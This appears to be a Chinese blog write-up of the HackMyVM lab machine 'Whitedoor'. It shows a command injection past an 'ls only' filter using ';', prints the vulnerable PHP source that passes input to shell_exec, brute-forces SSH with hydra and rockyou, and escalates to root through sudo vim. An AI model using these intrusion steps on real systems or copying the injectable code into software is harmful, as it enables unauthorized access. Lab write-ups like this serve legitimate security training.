hackmyvm-Whitedoor

https://hackmyvm.eu/machines/machine.php?vm=Quick3

靶机 攻击机
IP 192.168.101.160 192.168.101.183

信息收集

基操:

image-20240220233954071

image-20240220234305015

开放了21、22、80端口

htmlspecialchars限制的RCE

访问80端口:

image-20240220234332575

随手测出了一个RCE

但是用其它命令如whoami时发现:

image-20240220234508130

用个; 即可绕过:

image-20240220234603039

然后就是看源码:

ls;cat index.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Home</title>
</head>
<body>
    <h1></h1>

    <!-- Formulario de Comandos -->
    <form action="index.php" method="post">
        <label for="entrada"></label>
        <textarea name="entrada" rows="4" cols="50" required></textarea>
        <br>
        <button type="submit" name="submit">Send</button>
    </form>

    <?php
    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["submit"])) {
        $entrada = $_POST["entrada"];

        // Permitir solo el comando "ls"
        if (preg_match("/^ls\b/i", $entrada)) {
            // Mostrar la entrada en la tabla de comandos
            echo "<h2></h2>";
            echo "<table border='1'>";
            echo "<tr><td><pre>" . htmlspecialchars($entrada) . "</pre></td></tr>";
            echo "</table>";

            // Ejecutar la entrada como comandos
            echo "<h2></h2>";
            $output = shell_exec($entrada);
            echo "<pre>" . htmlspecialchars($output) . "</pre>";
        } else {
            echo "<p>Permission denied. Only the 'ls' command is allowed.</p>";
        }
    }
    ?>
</body>
</html>

注意用到了htmlspecialchars函数,作用是把预定义的字符转换为HTML实体。所以一般弹shell的那些语句可能就用不了了

有哪些用户:

image-20240221000708805

Gonzalo和whiteshell这两个

hydra爆破SSH

接着就可以hydra爆破了:

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.101.160 -V -I -f -u -e nsr

-f为遇到正确的立刻停下来

image-20240221001324541

然后就爆出来了

ssh Gonzalo@192.168.101.160

sudo提权-vim

接下来就是vim提权:

sudo vim
:!/bin/bash

image-20240221001643893

参考

https://www.bilibili.com/video/BV1f64y1V7rp?t=2.7

posted @ 2024-10-14 13:13  starme  阅读(2)  评论(0编辑  收藏  举报